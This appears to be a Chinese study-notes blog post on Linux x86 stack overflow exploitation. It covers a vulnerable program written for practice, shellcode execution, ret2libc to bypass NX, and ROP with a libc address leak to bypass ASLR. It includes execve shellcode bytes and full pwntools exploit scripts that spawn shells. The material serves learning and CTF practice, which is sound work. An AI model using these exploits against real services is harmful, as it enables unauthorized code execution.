目录
这个学习蒸米大牛的:https://yq.aliyun.com/articles/58699
ROP全称为Return-oriented programming(返回导向编程),一般是绕过内存不可执行(linux就是NX(No-Execute),windows就是DEP( Data Execution Prevention))
Control Flow Hijack 程序流劫持
常见的就是栈溢出,格式化字符串攻击和堆溢出了,系统的防御者就想了下面的办法:DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等
编写漏洞程序
编写以下有漏洞的程序(PS:最好还是自己手动敲一下,这样学习效果更好)
看看这两个函数:
ssize_t read(int fd,void * buf ,size_t count); fd为文件描述符,将fd所指的文件或者标准输入等读取到buf中,大小为count字节 返回读取到的字节数,若读取到文件尾,则返回0,若出错返回-1 ssize_t write (int fd,const void * buf,size_t count); 就将count字节的的buf写到fd所指的文件或者标准输出 若成功返回已写的字节数,出错就返回-1
那么那个漏洞函数局部变量只有128大小,那么可以读取256字节,肯定可以溢出了
开始编译吧
32位系统
在64位系统编译32位程序要加个-m32 ,不知道为啥那个栈执行被忽略了
-fno-stack-protector 关闭栈保护(常见就是canary)
-z execstack 看英文就知道是使栈有执行的权限
关闭ASLR
sudo -s ;以目标用户运行 shell,相当于再新建一个shell
这样就关闭了整个linux系统的ASLR(Address Space Layout Randomization)地址空间布局随机化
确定溢出点的位置
接下来确定溢出点的位置就好,使用作者的提供的pattern.py生成一些字符去测试,不过peda里面也有
peda的也是差不多
由于我在64位kali编译成64位程序了,先用作者的,r(run)运行,输入我们的测试数据
跟着就知道返回地址在哪了,有peda还是很容易看的
计算得到那么覆盖140个'A'(一般用这个‘A’而已,你用B,C什么的都可以,不是0x00,0x0d,0x0a换行那些就行)再加个返回地址就好了
接下来用peda自带的试试,这次试验的是在我的机器上编译的程序,所以跟作者的地址不一样,看看是不是140,可以看到也是140
那么静态分析能不能分析出来呢
载入ida,可以看到buf的基址在ebp-0x88
汇编看到他是会保存上一个函数的栈基的
那么返回地址就是0x88 + 4 = 140
需要一段shellcode
直接用作者的shellcode吧,顺便解析一下
这样的学习好多了
# 下面的汇编目的是execve ("/bin/sh") # xor ecx, ecx ;;ecx置0 # mul ecx ;;edx,eax置0 # push ecx ;;ecx入栈,其实是作为字符串结束符 # push 0x68732f2f ;; 就是字符串(字节逆序):hs// # push 0x6e69622f ;; 就是字符串:nib/ 连接上面(反过来读)就是/bin//sh # mov ebx, esp ;;保存esp # mov al, 11 ;;将al置为11,即系统调用符号常数->__NR_execve 11 # int 0x80 ;;系统中断处理程序int 0x80
首先尝试用windows的VC看看机器码,发现哥蒸米牛的不一样,xor ecx,ecx 和mov ebx,esp的机器码不一样
跟着自己在od将字节和作者的写在od对比了一下,发现是一样的,虽然机器码不一样,但翻译成汇编指令就变成一样了
跟着马上查了一下Intel指令解析手册,也算了弄明白了一点点,既然这样我就搞连个shellcode,一个作者的,一个我自己编译出来的
作者的:
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80"
我改那两个机器码:
shellcode = "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0" shellcode += "\x0b\xcd\x80"
这里蒸米作者说着有个坑,就是正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置,但是执行exp的时候压根就不在那个地址上,…
因为gdb的调试环境会影响buf在内存中的位置,虽然关闭了ASLP,buf可能是在别的固定的地址上
这个之前在0day安全看过,就是说就算在你的电脑执行shellcode成功,你在别的电脑上环境很可能就不能运行了,后来就找跳板了,就是jmp esp,后面我会尝试去实验的啦
继续吧,开启core dump
具体还可以参考一下这里:
http://blog.csdn.net/yizhou35/article/details/16368775
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
准备好字符串使其溢出,ABCD就是buf的初始地址啦
因为崩溃的时候计算机将栈中所谓的“返回地址弹出”,所以esp指向返回地址下一个4字节了,又因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。
地址在0xffffd5a0处
注意,由于ebp被我们的41覆盖了,所以不能用于查看内存地址哦
我们试试在gdb调试状态看看地址是多少,可以看到是在0xffffd560处,果然是不同的
那么接下来就写exp咯,学着用pwntools,可以方便进行本地和远程攻击的转换
发现并没有成功,我再次用哪个core文件看那个地址,发现地址又变了,
难道aslr没关?第2天关了虚拟机,起床再做一遍,发现地址经常变,于是就发现aslr没关
跟着直接运行exp1.py,跟着去看看那个core文件,可以看到我们设置的返回地址是错误的,所以就没成功了
那么ret就改为0xffffd2e0,运行,getshell成功
接下来接近一点实战,就是将程序的输入绑定到服务器某一个端口上
就是tcp协议,4应该是ipv4吧,绑定到6666端口,fork是创建子进程,应该是你来连接一个我就给你创建一个子进程,各位CTFer互不干扰
当然可以nc连接咯
那我们的exp注释去掉,改成远程的
开启core dump,运行一下
不行就看一下core文件咯
修改一下ret的值,成功运行
Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
相对level1,我们打开DEP(其实linux叫NX吧)
gcc -fno-stack-protector -o level2 level2.c
我们看看level1栈段的权限
再看看level2的,其实我第一次编译的那个就是关闭DEP的选项被忽略了,先直接用我那个程序做吧这次,不行再换
可以看到没有了执行权限
那么我们不能将shellcode放在栈上了,跟着作者来
既然使用了read,write函数,那么就肯定调用了libc.so,里面也含有大量的函数
我们的目标就是执行system(“/bin/sh”)
接下来就是如何获取system的地址,还有/bin/sh的地址或者构造了
没开aslr,地址都是固定的,直接用gdb的find和print查找
在main下断点,运行起来
竟然找不到/bin/sh,那就自己尝试构造咯,竟然可以哦
from pwn import * p = process('./rop_x86') #p = remote('127.0.0.1',6666) system_addr = 0xf7e49360 ret = 0xaaaaaaaa #not important binsh_addr = 0xffffd658 # /bin//sh binsh = "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00" payload = 'a' * 140 + p32(system_addr) + p32(ret) + p32(binsh_addr) + binsh p.send(payload) p.interactive()
那我再试试作者的思路,经过大神指点,直接用find就行(gdb,main下断,运行,find)
重新小修整一下代码,还是可以的,感谢蒸米牛的文章啦
ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护
我们打开ASLR保护
发现上面的exp2已经不行了
看看libc的加载的地址每次运行都会变化
那么思路是什么:先泄露出libc中某些函数的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。
栈,libc,heap的地址都是随机的。但我们可以看到程序在内存中的镜像是没有随机化的
作者的意思是将返回地址设置成我们程序本身的地址值就可以了
objdump查看可以利用的plt函数和函数对应的got表
一些选项:
-j, –section=NAME Only display information for section NAME
-d, –disassemble Display assembler contents of executable sections
那么下面这个就是
root@kali:~/learnRop# objdump -d -j .plt rop_x86 rop_x86: 文件格式 elf32-i386 Disassembly of section .plt: 080482e0 <read@plt-0x10>: 80482e0:ff 35 3c 97 04 08 pushl 0x804973c 80482e6:ff 25 40 97 04 08 jmp *0x8049740 80482ec:00 00 add %al,(%eax) ... 080482f0 <read@plt>: 80482f0:ff 25 44 97 04 08 jmp *0x8049744 80482f6:68 00 00 00 00 push $0x0 80482fb:e9 e0 ff ff ff jmp 80482e0 <_init+0x30> 08048300 <__gmon_start__@plt>: 8048300:ff 25 48 97 04 08 jmp *0x8049748 8048306:68 08 00 00 00 push $0x8 804830b:e9 d0 ff ff ff jmp 80482e0 <_init+0x30> 08048310 <__libc_start_main@plt>: 8048310:ff 25 4c 97 04 08 jmp *0x804974c 8048316:68 10 00 00 00 push $0x10 804831b:e9 c0 ff ff ff jmp 80482e0 <_init+0x30> 08048320 <write@plt>: 8048320:ff 25 50 97 04 08 jmp *0x8049750 8048326:68 18 00 00 00 push $0x18 804832b:e9 b0 ff ff ff jmp 80482e0 <_init+0x30>
-R, –dynamic-reloc Display the dynamic relocation entries in the file
我们可以看到,程序本身没调用过system函数,我们可以通过write@plt把write()函数在内存中的地址也就是write.got给打印出来。为什么可以这样?
因为linux采用了延时绑定技术,当我们调用write@plit()的时候,第一次的时候系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 – 链接、装载与库》这本书)
幸好我有那一本书,其实那一页我已看过一遍了,现在再看一遍
当我们调用某个外部模块的函数时,如果按照通常的做法是通过GOT中响应的项进行间接跳转。但为了延迟绑定,在这工程中间加了一层间接跳转,通过一个叫做PLT项的结构进行跳转。每个外部函数在PLT中都有一个相应的项,比如上面的write函数在PLT的项的地址我们叫做write@plt
write@plt第一条指令就是跳到GOT表对应的位置
write@GOT表示GOT中保存write这个函数相应的项,其实就是一个地址而已。
如果链接器在初始化阶段已经初始化该项,并将write()的地址填入改项(地址),那么跳转指令就获取GOT表上保存的值,跳到write函数处
当上一句没说过,为了实现延迟绑定,链接器在初始化阶段肯定没初始化那个的地址的,而是将plt的第二条指令的地址填进去,那么第一次jmp就跳到第二条指令处,push一个数,再push模块id(就是动态链接的so文件),最后调用那个符号解析和重定位的函数_dl_runtime_resolve
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:
大牛喜欢直接给exp,经过上面的学习,我还是看得懂的,注释一下
# -*- coding: utf-8 -*- from pwn import * # 实例化一个ELF对象? libc = ELF('./libc.so') elf = ELF('./rop_x86') # 运行进程 p = process('./rop_x86') # p = remote('127.0.0.1', 10003) # 获取write@plt和write@GOT的地址 plt_write = elf.symbols['write'] # 发现跟elf.plt['write']获取到的结果是一样的 print 'plt_write = ' + hex(plt_write) # plt_write = elf.plt['write'] # print 'plt_write2 = ' + hex(plt_write) got_write = elf.got['write'] print 'got_write = ' + hex(got_write) # 漏洞函数的地址,泄露出地址后,我们还有继续利用这个漏洞函数 vulfun_addr = 0x0804842B print 'vulfun_addr = ' + hex(vulfun_addr) # 140以后是漏洞函数的返回地址,下面相当于构造了write(1, got_write, 4) ,就是将got_write的内存地址打印出来,1是标准输出,4是4字节,32位的地址是4字节,执行完write函数,write返回的时候就将栈顶的vulfun_addr弹出到eip,继续执行漏洞函数 payload1 = 'a' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4) # 发送payload print "\n### sending payload1... ###" p.send(payload1) # 接收write的地址 print "\n### receiving write() addr... ###" write_addr = u32(p.recv(4)) print "write_addr = " + hex(write_addr) # 计算system和/bin/sh的地址 print "\ncalculating system() addr and \"/bin/sh\" addr ... ###" system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system']) print "system_addr = " + hex(system_addr) binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search("/bin/sh"))) print "binsh_addr = " + hex(binsh_addr) # 构造payload2, payload2 = 'a' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) print "\n### sending payload2... ###" # 发送payload2 p.send(payload2) # 返回一个交互式的shell p.interactive()
好了,学习了还是很有收获的~~~